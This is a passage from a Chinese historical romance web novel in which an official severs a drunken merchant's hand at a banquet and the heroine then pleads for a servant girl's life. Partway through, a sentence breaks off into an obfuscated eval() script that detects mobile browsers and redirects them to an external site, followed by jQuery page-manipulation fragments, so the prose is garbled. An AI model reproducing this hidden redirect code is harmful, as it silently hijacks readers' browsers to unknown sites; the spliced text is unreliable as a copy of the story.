令人作呕的酒气扑面而来,赵老板抓住了石韫玉的衣袖。
就当她以为自己要被拽过去时,身后传来“唰”一声细响。
发丝拂动,寒芒一闪。
下一刻利刃割破皮肉骨骼的声响,和赵老板杀猪般的惨叫同时响起。
热血喷洒,一股溅上旁边高几的烛台,火苗猛跳后熄灭,人影跟着一晃。
温热黏湿的鲜血亦溅在石韫玉脸上,裙裾和衣袖上也晕开数点血痕。
她瞳孔猛缩,下意识抬手摸上脸颊的湿濡,垂眼看去,白皙指尖沾着一抹赤红。
鼻间也后知后觉嗅到刺鼻的血腥味。
两步开外,赵老板捂着光秃秃血流如注的手腕,在地上哀嚎打滚。
那只被斩断的右手中,还紧紧抓着她的一片衣角,孤零零落在暗红色的地毯上,异常可怖。
满堂死寂。
丝竹声早已停了,歌姬舞女吓得噤声瑟缩。
方才还觥筹交错的宾客们,个个惊愕不已,酒杯僵在唇边,有的甚至失手打翻了案几,酒水淋漓却无人顾及。所有人的目光都落在那持剑而立,依旧笑色温雅的青年身上。
不知是谁惊叫了一声,石韫玉从变故中回过神来,脸色骤白。
她颤抖踉跄后撤了好几步,被地毯的边缝绊了一下,身子向后跌去。
正当她以为自己要跌坐在地上时,后背撞上一方温热胸膛,被人扶住了肩膀。
她惊魂未定,白着脸侧头仰视,恰对上顾澜亭那双含笑的桃花眼。
他眼波流转,轻轻睨了她一记,并未理会在血污中翻滚哀嚎的赵老板,只信手将那柄滴血的长剑“哐当”一声掷于地上。。
他转过她的身子,将她半揽入怀中。
沉静的檀香味裹挟来,顾澜亭低下头,用指腹揩去石韫玉雪腮和眼尾的血点,按了按她的唇。
指尖的鲜血印在她毫无血色的下唇,唇珠添一抹艳色,显得她脸色愈发苍白。
他脸上仍是春风拂柳的笑模样:“吓着了?”
低笑一声,语调轻柔:“傻,我怎舍得将你送人?”
话语温柔缱绻,仿佛方才狠厉削了人手的不是他。
石韫玉伏在他怀中,芙蓉面透白。
这个疯子……
青年的手有一搭没一搭抚着她的背,手掌温热,她没忍住打了个寒噤。
厅外不知何时起了风,淅淅沥沥的雨点敲打窗棂,廊下灯笼的光晕在窗纸上映出摇曳的枝影,宛若魑魅。
她闭上眼,勉力压下作呕的冲动。
虽侥幸逃过一劫,却更深切体会到顾澜亭的狠厉无情。她日后当真能从这般人物手中逃脱升天么?
一念及此,心胆俱寒。
顾澜亭感觉到怀中人的战栗,安抚性的轻拍了拍她的后背,把手搭在她纤细的后颈上。
他抬眼,居高临下睨着在地上翻滚哀嚎,血污狼藉的赵老板,轻嗤了声:“就凭你这腌臜蠢物,也配觊觎我顾少游的人?”
李嵩最先回过神来,慌忙起身,额上冷汗涔涔,连声喝道:“都瞎了不成?快将这混账东西拖下去救治!”
几个仆从这才战战兢兢上前,七手八脚将昏死过去赵老板抬出去,留下一滩鲜血。
周知府转向裴珩,笑着打圆场:“顾大人千万息怒,这赵胖子多灌了几杯黄汤,便不知天高地厚,冲撞了大人和姑娘。大人尊体贵重,何必与这等贱商一般见识,没得气坏了身子。”
其余官员也纷纷附和,厅内顿时充满了劝慰讨好之声。
顾澜亭揽着她,笑道:“周大人有所不知,若是寻常美人,本官或可一笑置之。”
说着,他轻抚她的云鬓,语气宠溺,“奈何我平日最疼凝雪,视若珍宝,实在见不得有半分冒犯。这等护短之心,诸位想必是能理解的罢?”
几位官员哪能说个不字,忙不迭应和:“是极是极!顾大人情深意重,下官等感同身受。”
这些在扬州这富庶之地为官的老油条,心中自是另一番计较。
按律令,官员重伤良民,依律当惩,重者可至贬官流放。
顾澜亭今日当众行凶,固然是为美人为颜面,但其背后深意,众人岂能不知?
他初来扬州便如此张扬跋扈,朝廷责罚不日必至。纵使圣眷正浓,暂不召回,这“毒师案”的主理之权,怕也要旁落,他至多沦为副手。
待案子了结回京,再行论罪。
这断手之事,可大可小,全看上头如何运作。
如今顾澜亭主动将把柄递到他们手中,无异于一份投名状。
周显暗自打量着主位上谈笑自若的青年,心道此子年纪轻轻,竟有如此狠辣心机与算计,真真是个笑面狐狸,难怪能不及而立便官居三品。
顾澜亭搂着石韫玉坐在案前,伸手倒了杯酒抵在她唇边,“来,饮了压压惊。”
石韫玉没亲眼见过这般血腥场景,鲜血溅
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16477470|185602||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在脸上的感觉挥之不去,胃腹翻涌,没吐出来都算好的,哪里还喝的下酒?
可她不敢违抗,乖乖就着他的手把杯中酒抿了一口。
顾澜亭见她面色苍白,脆弱得如同被雨打落的海棠,到底没再吓她。放下酒杯,另换了一盏热茶搁在她手边。
石韫玉心神恍惚,并未去碰那茶盏。
呆坐了片刻,惊魂稍定,她目光瞥到翠荷,此刻吓得在墙边缩成一团,抖如筛糠,满脸眼泪,目光绝望。
赵老板遭此断手大辱,纵使并非翠荷的错,也定然会沦为他发泄怒火的对象。
翠荷恐怕难有活路,不是被生生打死,便是被卖入烟花之地。
彻头彻尾的官场倾轧的牺牲品。
石韫玉终究是现代人,做不到视人命如草芥,无法对近在咫尺的悲剧视而不见。
如今只有一人能救翠荷。
她强压下心头畏惧,轻轻拽了拽顾澜亭的衣袖,抬起一双泪光点点的眸子望着他,软声哀求:“大人,那姑娘若被带回赵府,怕是活不成了,她也是个身不由己的可怜人。”
顾澜亭垂眸看她。
自己方才险些受辱,吓得魂不附体,此刻竟还有闲心替个素不相识的瘦马求情。
况且这世道不可怜?灾年饿殍遍野,沿海倭寇肆虐,纵然是天子脚下,亦不乏冻死骨。
生死轮回本是常态,即便如他这般手握权柄之人,亦难保没有粉身碎骨的那一日。
他漫不经心地把玩着手中的酒杯,眸光漠然。
恰在此时,赵老板的两个小厮去而复返,入厅后战战兢兢给众人行了礼,便快步走到翠荷身边,一左一右粗暴地架起她的胳膊,便要拖将出去。
翠荷心知回去必是死路一条,面如土色,也不知哪来的力气,猛地挣脱二人,在众人未及反应之时,已奔至顾澜亭案前,“砰”地一声重重跪倒,涕泪交加,以头抢地:“求青天大老爷垂怜!求大人救奴一命!”
石韫玉看得心中酸楚。
她于心不忍,再次拽了拽顾澜亭的袖子,小声道:“爷,求求您,救人一命胜造七级浮屠。”
说着她咬牙闭眼,仰起脸飞快亲了一下顾澜亭下巴,耳语哀求:“奴婢会好好为您办事。”
微润的柔软触之即分,顾澜亭愣了一下,垂眼看她。
美人含泪,软语哀求。让他想起那天晚上的吻。
他笑吟吟道:“我若依你,你待如何谢我?”